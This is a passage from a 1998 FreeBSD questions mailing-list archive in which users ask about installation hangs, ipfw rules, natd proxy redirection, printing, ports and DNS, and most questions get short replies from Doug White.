freebsd-questions@FreeBSD.ORG Subject: Re: About Install In-Reply-To: <3cc743dc.3527ddcc@aol.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Bagelboyj wrote: > I have FreeBSD 2.2.2 on CD, and I want to install it to a ZIP disk. Is this > possible, and are partitions necessarry? What type of ZIP? Parallel, IDE, or SCSI? You'll have to use a DOS partition for 2.2.2. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 12:52:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA22182 for freebsd-questions-outgoing; Mon, 6 Apr 1998 12:52:12 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA21962; Mon, 6 Apr 1998 12:51:40 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id MAA18969; Mon, 6 Apr 1998 12:51:37 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 12:51:37 -0700 (PDT) From: Doug White Reply-To: Doug White To: nik@FreeBSD.ORG cc: questions@FreeBSD.ORG, hardware@FreeBSD.ORG Subject: Re: ABIT PX5 233MMX Pent, R2.2.2, 2.2.5., 2.2.6 all hang in sysinstall In-Reply-To: <19980405210440.45817@nothing-going-on.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Nik Clayton wrote: > I've been trying to get a friend's machine working with FreeBSD with little > success. > > The box is a 233 MMX Pentium, w/ 32MB of RAM, 3GB of IDE disk (ST33232A) > on the first controller, and a CDROM and ZIP drive as the primary and > slave devices on the second controller. Take the ZIP drive out; it's a known problem. For some reason it makes sysinstall hang. It should work once the system is installed. You'll want to install the kernel source so you can rebuild a kernel with the zip device (wfd0). Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 12:52:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA22344 for freebsd-questions-outgoing; Mon, 6 Apr 1998 12:52:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA22248 for ; Mon, 6 Apr 1998 12:52:19 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id MAA18973; Mon, 6 Apr 1998 12:52:12 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 12:52:12 -0700 (PDT) From: Doug White Reply-To: Doug White To: MoonMastr cc: freebsd-questions@FreeBSD.ORG Subject: Re: Installing FreeBSD 2.2.6 from a burned downloaded copy In-Reply-To: <3527EAF0.6D65@mo.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, MoonMastr wrote: > ok.. I downloaded 2.2.6 release from an ftp site totally > I had to put all from the FreeBSD 2.2.6 disk on 1 disk > and the packages on another, exactly as it is from the 2.2.6 directory > now I just wanna know how can I install FreeBSD from that > cuz its not a distribution disk, just like from the ftp site put on CD > so theres no install.bat or anything Make a boot floppy. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:02:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA24397 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:02:15 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA24287 for ; Mon, 6 Apr 1998 13:01:59 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA18983; Mon, 6 Apr 1998 13:01:40 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:01:39 -0700 (PDT) From: Doug White Reply-To: Doug White To: Laura Blake cc: freebsd-questions@FreeBSD.ORG Subject: Re: Need a little help deciding... In-Reply-To: <3527EED6.4F3@ican.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Laura Blake wrote: > 1) My $#@^ modem is plug and play programmed for i/o port every time I > reboot my system. While this will survive most warm boots, it will not > survive a hard reset. The problem is that the "PNPSET" utility I use > under DOS does not have a BSD, LINUX, or whatever equivalent. Yuck. :( Try installing 2.2.6 then rebuilding a kernel with PnP installed. It might pick up the modem. Hopefully this isn't like the Winmodem which requires programming :( > 2) Once in DOS it would be necessary to jump to BSD. Preferably through > a simple command like "GOBSD" that can be entered at the dos prompt. I > do not want my second OS to actually run "under" DOS, but I will need to > be able to start it from DOS. There's a program called `fbsdboot' you can run to start the kernel. It overwrites the DOS memory image so to get back you have to reboot. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:04:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA24897 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:04:07 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA24766 for ; Mon, 6 Apr 1998 13:03:54 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA18987; Mon, 6 Apr 1998 13:03:34 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:03:34 -0700 (PDT) From: Doug White Reply-To: Doug White To: Alanna Alexandra cc: questions@FreeBSD.ORG Subject: Re: IPFW In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Alanna Alexandra wrote: > Hey, I just installed IPFW on my box and I am trying to figure out how to > add rules... ipfw add > I read the Handbook and followed the sample rules but while it said it > added them when I rebooted the rules were gone.. Yes, the rules are temporary. If you want to make them permanent (restored on startup) modify /etc/rc.firewall. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:07:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA25742 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:07:52 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA25724 for ; Mon, 6 Apr 1998 13:07:44 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA18998; Mon, 6 Apr 1998 13:07:42 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:07:42 -0700 (PDT) From: Doug White Reply-To: Doug White To: Randall Hopper cc: questions@FreeBSD.ORG Subject: Re: 2.2 printcap entry -- a no-go on 3.0 In-Reply-To: <19980405205731.44447@ct.picker.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Randall Hopper wrote: > |> Warning: text is down: printing disabled > | ^^^^^^^^^^^^^^^^^ > | > |Have you tried going into lpc and restarting this printer? Looks like it > |was disabled from lpc. > > Yes, I did. No matter what I do, the "lp" and "text" queues say printing > is disabled. However, the "ps" queue works fine. This strangeness is > illustrated in the shell output below. Check that your spool directories are writable and that there aren't any stale files. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:07:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA25812 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:07:59 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA25545 for ; Mon, 6 Apr 1998 13:06:40 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA18994; Mon, 6 Apr 1998 13:06:36 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:06:36 -0700 (PDT) From: Doug White Reply-To: Doug White To: anthony@sohopros.com cc: freebsd-questions@FreeBSD.ORG Subject: Re: downloading a port. In-Reply-To: <3.0.32.19980405195120.008f49a0@pop.flash.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998 anthony@sohopros.com wrote: > I would like to down load the port for netscape v4.05, but > when I go to the FTP directory: > /pub/FreeBSD/ports-2.2.5/www/netscape4/ at ftp.freebsd.org > there arn't any ....tar.gz files. Shouldn't there be? No; the port just says where to get the source file and how to build it. Fetch the port by running cd /pub/FreeBSD/ports-2.2.5/www get netscape4.tar Then extract with tar xzf netscape4.tar Then run cd netscape4 make su make instal Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:09:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA26148 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:09:22 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from sunrise-art.ru ([194.135.151.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA26069 for ; Mon, 6 Apr 1998 13:09:05 -0700 (PDT) (envelope-from stas@sunrise-art.ru) Received: from stas (stas.sunrise-art.ru [194.135.151.101]) by sunrise-art.ru (8.8.7/8.8.7) with SMTP id AAA02413 for ; Tue, 7 Apr 1998 00:10:17 +0400 (MSD) (envelope-from stas@sunrise-art.ru) Message-ID: <000101bd6198$31df8f60$659787c2@stas.sunrise-art.ru> From: "Stanislav V Vyaly" To: Subject: NATD problems Date: Tue, 7 Apr 1998 00:11:32 +0400 MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3026.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3026.0 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have installed NATD on FreeBSD-2.2.5 box with squid to tell my users that they have to configure their browsers to use proxy. natd tell me on verbose output: In [TCP] 194.135.151.101:1401 -> 204.216.27.18:80 aliased to 194.135.151.101:1401 -> 204.216.27.18:80 Why natd doesn't tell me In [TCP] 194.135.151.101:1401 -> 204.216.27.18:80 aliased to 194.135.151.101:1401 -> 194.135.151.1:8080 ^^^^^^^^^^^^^^^^^^^^ ???????????????? I have tried all of the night, and cannot find out why this config doesn't work, please, help me understand if I am a lamer or what? : /etc/services: natd 6668/divert rc.firewall: $fwcmd add divert natd tcp from x.x.x.0/25 to any http via ep0 natd.cf: log yes verbose yes redirect_port tcp x.x.x.1:8080 80 inetd.conf: 8080 stream tcp nowait root /some/where/warning warning /some/where/warning: #!/bin/sh echo "Error: use proxy!" echo "Please configure your browser to use proxy at x.x.x.x" P.S. sorry for my english To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:11:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA26754 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:11:12 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA26662 for ; Mon, 6 Apr 1998 13:10:38 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19002; Mon, 6 Apr 1998 13:09:40 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:09:40 -0700 (PDT) From: Doug White Reply-To: Doug White To: Mike cc: freebsd-questions@FreeBSD.ORG Subject: Re: FreeBSD 2.2.5 problems on a Dell Dimension XPS D300 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Mike wrote: > Work was nice enough to purchase a nice, fast, 300MHz P2 system for me... > unfortuneately, it's loaded with lots of hardware that likes to assume > you're using Windows 95... and... if you're not, it doesn't work. :) > > When booting 2.2.5 from the CD or with the boot floppy, got a hang as soon > as the ethernet card was detected. It's a 3Com 900 Combo card - and guess > what... it's a PnP jumperless card. Can you say trash? :) No, it's a PCI card. It configures itself. You're correct about it being trash though -- it has no buffer space. Yuck! :( > I removed the card and I thought I was off scott free... but I then got > weird results from the secondary IDE controller. Here's my current setup: > > wdc0 > Primary master: IBM 8.5GB IDE > Primary slave: not used > wdc1 > Secondary master: ATAPI CD-Rom > Secondary slave: not used > > It detects the IBM hard disk with no problems, but then it tries to detect > wdc1 and all goes down hill from there. The screen goes blank except for > a flashing cursor in the lower-left hand corner... after a few minutes > the screen blinks and a beep is heard, but nothing changes (screen still > blank). It just sits there and does nothing... How far down is that? Check the jumper settings on your CD. Try moving it onto the primary controller. The black screen is a stick in finding devices; try hitting ALT-F2 and see what you have there. > Oh... and... what's the general consensus (yeah, right!) on the best NIC > and CD-Rom drive for FreeBSD? :) NIC: Intel EtherExpress Pro/100B (or +) CDROM: A SCSI one. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:11:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA26942 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:11:47 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA26835 for ; Mon, 6 Apr 1998 13:11:24 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19013; Mon, 6 Apr 1998 13:11:21 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:11:21 -0700 (PDT) From: Doug White Reply-To: Doug White To: Jan Koum cc: questions@FreeBSD.ORG Subject: Re: "Read error" part II In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Jan Koum wrote: > Same problem, different machine. I am installing 2.2.6-RELEASE on > Seagate Barracuda 34371W SCSI disk with 2940UW Adaptec card. All disk is > going to the FreeBSD ("dangerous dedicated" mode). Every time after > install I get "Read Error". I tried to use different geometries and > even splitting the drive into different BSD partitions. No luck. What BIOS? Award BIOSes are known to get pushy about the disklabel. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:11:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA26995 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:11:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA26803 for ; Mon, 6 Apr 1998 13:11:19 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19009; Mon, 6 Apr 1998 13:10:49 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:10:49 -0700 (PDT) From: Doug White Reply-To: Doug White To: Dima Dorfman cc: freebsd-questions@FreeBSD.ORG Subject: Re: syslog/udp: unknown service In-Reply-To: <3.0.5.32.19980405184137.00919410@mail.zwb.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Dima Dorfman wrote: > Hi: > > I'm running FreeBSD 2.2.6, and on startip, when syslogd starts, I get a > message: "syslodg: syslog/upd: unknown service." I've tried adding a > service called syslog/udp to /etc/serivces, but that didn't help. > > BTW, can someone please send me a copy of their /etc/services file, I > accidently screwed mine. Fetch from ftp://ftp.freebsd.org/pub/FreeBSD/FreeBSD-current/src/etc/services. > P.S. Never be 'root' unless you have to This is why Linux machines can get viruses and other baddies -- people don't know how to use su. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:13:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA27504 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:13:11 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA27340 for ; Mon, 6 Apr 1998 13:12:42 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19017; Mon, 6 Apr 1998 13:12:28 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:12:28 -0700 (PDT) From: Doug White Reply-To: Doug White To: Joe McGuckin cc: questions@FreeBSD.ORG Subject: Re: Boot time error on NCR 875 controller In-Reply-To: <199804060257.TAA23330@monk.via.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Joe McGuckin wrote: > > At boot time, I get a scripts time-out message from the NCR/Synbios SCSI driver. > I can's reproduce the message here because it's not written to dmesg or > the log file. > > Has anyone else seen this? Not here. Are you *sure* it originates from a driver?? It should show up in /var/log/messages. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:13:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA27512 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:13:14 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server.elehost.com (cgowave-5-130.cgocable.net [24.226.5.130]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA27377 for ; Mon, 6 Apr 1998 13:12:47 -0700 (PDT) (envelope-from elephant@cgocable.net) Received: from paul.elehost.com (paul.elehost.com [192.168.0.85]) by server.elehost.com (8.8.8/8.8.8) with SMTP id QAA00398 for ; Mon, 6 Apr 1998 16:15:48 -0400 (EDT) Message-Id: <199804062015.QAA00398@server.elehost.com> X-Sender: elephant@mail.cgocable.net X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Mon, 06 Apr 1998 16:12:36 -0400 To: freebsd-questions@FreeBSD.ORG From: Paul MacKenzie Subject: Domain name problem: DNS & Sendmail?? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, small problem.. when I send mail to xxx@server.FQDN.com it works.. when I send mail to xxx@FQDN.com it doesnt.. I have (apart from spending hours of work) 1) set up masquerading properly within sendmail tested by simple pinging... ie.. ping fqdn.com (it works when I manually send mail within my network) I get the following.. ping: cannot resolve FQDN.com: Unknown host yet there are no problems with www.FQDN.com, ftp.FQDN.com, etc... Thus, all mail is refused.. Any help with this (dns?) problem would be appreciated Thanks Paul "Compassion is the only true answer to suffering" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:14:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA27970 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:14:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA27800 for ; Mon, 6 Apr 1998 13:14:07 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19021; Mon, 6 Apr 1998 13:13:57 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:13:57 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Kevin G. Eliuk" cc: FreeBSD Questions Subject: Re: exec: makewhatis: not found ? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Kevin G. Eliuk wrote: > Nope same results different message and for a good reason, I > accidently destroyed my symbolic link to /usr/local/bin/perl. Dooh! Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:15:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA28100 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:15:21 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA27996 for ; Mon, 6 Apr 1998 13:14:56 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19025; Mon, 6 Apr 1998 13:14:43 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:14:43 -0700 (PDT) From: Doug White Reply-To: Doug White To: anthony@sohopros.com cc: Andrew , freebsd-questions@FreeBSD.ORG Subject: Re: help with ports? In-Reply-To: <3.0.32.19980406131243.00901170@pop.flash.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998 anthony@sohopros.com wrote: > I can not get the port by typing get netscape4.tar.gz. ftp.freebsd.org used to support on-the-fly compression but that was disabled since it was too cpu-expensive. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:15:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA28320 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:15:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA28116 for ; Mon, 6 Apr 1998 13:15:21 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19032; Mon, 6 Apr 1998 13:15:07 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:15:07 -0700 (PDT) From: Doug White Reply-To: Doug White To: anthony@sohopros.com cc: Andrew , freebsd-questions@FreeBSD.ORG Subject: Re: help with ports? In-Reply-To: <3.0.32.19980406131243.00901170@pop.flash.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998 anthony@sohopros.com wrote: > I can not get the port by typing get netscape4.tar.gz. Followup: Try using the command get netscape4.tar Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:16:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA28718 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:16:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA28583 for ; Mon, 6 Apr 1998 13:16:19 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19036; Mon, 6 Apr 1998 13:15:44 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:15:44 -0700 (PDT) From: Doug White Reply-To: Doug White To: Robert Deuerling cc: freebsd-questions@FreeBSD.ORG Subject: Re: /dev/MAKEDEV In-Reply-To: <199804060535.HAA24766@baerle.indra.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: 